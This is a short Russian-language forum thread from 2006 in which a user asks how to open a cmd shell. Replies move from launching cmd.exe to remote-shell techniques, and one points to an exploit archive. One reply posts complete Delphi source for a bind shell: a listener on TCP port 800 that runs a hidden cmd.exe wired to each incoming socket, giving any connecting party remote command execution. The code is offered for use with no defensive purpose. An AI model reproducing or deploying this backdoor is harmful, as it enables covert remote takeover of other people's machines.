открыть cmd shell

Тема в разделе "WASM.NETWORKS", создана пользователем kas, 1 апр 2006.

  1. kas

    kas New Member

    Публикаций:
    0
    Регистрация:
    10 мар 2006
    Сообщения:
    12
    как можно открыть простой cmd shell?
     
  2. pas

    pas New Member

    Публикаций:
    0
    Регистрация:
    18 апр 2003
    Сообщения:
    330
    Адрес:
    Russia
    Пуск-Выполнить Далее cmd.exe
     
  3. d4rkeagle

    d4rkeagle Алексей Шпунсель

    Публикаций:
    0
    Регистрация:
    3 мар 2006
    Сообщения:
    66
    Адрес:
    Тайланд
    C:\WINDOWS\SYSTEM32\CMD.EXE
     
  4. Sickle

    Sickle New Member

    Публикаций:
    0
    Регистрация:
    11 июл 2003
    Сообщения:
    181
    наверное, человек имеет ввиду удаленный шелл?

    используй пайпы для получения/передачи инфромации из/в cmd.exe. ну а с сокетами, думаю, разберешься
     
  5. YoungBastard

    YoungBastard New Member

    Публикаций:
    0
    Регистрация:
    29 мар 2005
    Сообщения:
    231
    Адрес:
    Russia
    kas

    заходи на milw0rm.com и там литературы с исходниками по твоему вопросу до фига.



    а где ты это хочешь эксплуатировать?
     
  6. Guest

    Guest Guest

    Публикаций:
    0


    Скорее всего речь идет о курсовой работе )))
     
  7. Ms Rem

    Ms Rem New Member

    Публикаций:
    0
    Регистрация:
    17 апр 2005
    Сообщения:
    1.057
    Адрес:
    С планеты "Земля"
    Код (Text):
    1. var
    2.   WSAData: TWSAData;
    3.   FSocket: integer;
    4.   SockAddrIn: TSockAddrIn;
    5.   sHandle: dword;
    6.   St: TStartupInfo;
    7.   Pr: TProcessInformation;
    8.  
    9. begin
    10.   WSAStartup($202, WSAData);
    11.   FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
    12.   SockAddrIn.sin_family := AF_INET;
    13.   SockAddrIn.sin_port := htons(800);
    14.   bind(FSocket, SockAddrIn, 16);
    15.   listen(FSocket, 0);
    16.   while true do
    17.    begin
    18.     sHandle := accept(FSocket, nil, 0);
    19.     if sHandle <> INVALID_SOCKET then
    20.      begin
    21.        ZeroMemory(@St, SizeOf(TStartupInfo));
    22.        St.cb := SizeOf(TStartupInfo);
    23.        St.wShowWindow := SW_HIDE;
    24.        St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
    25.        St.hStdInput  := sHandle;
    26.        St.hStdOutput := sHandle;
    27.        St.hStdError  := sHandle;
    28.        CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
    29.        CloseHandle(sHandle);
    30.        CloseHandle(Pr.hProcess);
    31.        CloseHandle(Pr.hThread);
    32.      end;
    33.    end;
    34. end.
    35.  
     
  8. kas

    kas New Member

    Публикаций:
    0
    Регистрация:
    10 мар 2006
    Сообщения:
    12
    всем спасибо.. разобрался